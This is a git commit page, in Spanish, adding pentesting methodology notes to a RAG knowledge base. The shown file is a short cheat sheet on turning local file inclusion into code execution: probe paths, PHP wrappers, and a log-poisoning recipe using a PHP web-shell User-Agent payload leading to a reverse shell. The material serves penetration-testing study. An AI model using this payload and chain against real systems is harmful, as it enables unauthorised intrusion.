saber: pack de metodologia publico (conocimiento/) + doc del RAG
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
This commit is contained in:
parent
12987539a4
commit
7e06ce46cf
76 changed files with 2682 additions and 8 deletions
21
nucleo/saber/conocimiento/02 - Explotacion web/LFI a RCE.md
Normal file
21
nucleo/saber/conocimiento/02 - Explotacion web/LFI a RCE.md
Normal file
|
|
@ -0,0 +1,21 @@
|
|||
# LFI a RCE
|
||||
|
||||
> Local File Inclusion → ejecución de código. Vector clásico de Hacking web. Pariente de Directory traversal (traversal lee; LFI incluye/ejecuta).
|
||||
|
||||
## Si tienes LFI básico, prueba
|
||||
```
|
||||
/proc/self/environ # con User-Agent malicioso
|
||||
/var/log/apache2/access.log # log poisoning + curl con UA payload
|
||||
php://filter/convert.base64-encode/resource=index.php # leer fuente
|
||||
data://, expect://, phar:// # PHP wrappers
|
||||
```
|
||||
|
||||
## Log poisoning (LFI → RCE)
|
||||
1. Envías una petición con `User-Agent: <?php system($_GET['c']); ?>`.
|
||||
2. Incluyes el log: `?page=/var/log/apache2/access.log&c=id`.
|
||||
3. El PHP de tu UA se ejecuta → RCE → Reverse shell.
|
||||
|
||||
## php://filter
|
||||
Lee el código fuente en base64 para encontrar credenciales/segundos vectores (SQL injection, creds en config).
|
||||
|
||||
Relacionado: Hacking web · Directory traversal · File upload bypass · Reverse shell · OSCP MOC
|
||||
Loading…
Add table
Add a link
Reference in a new issue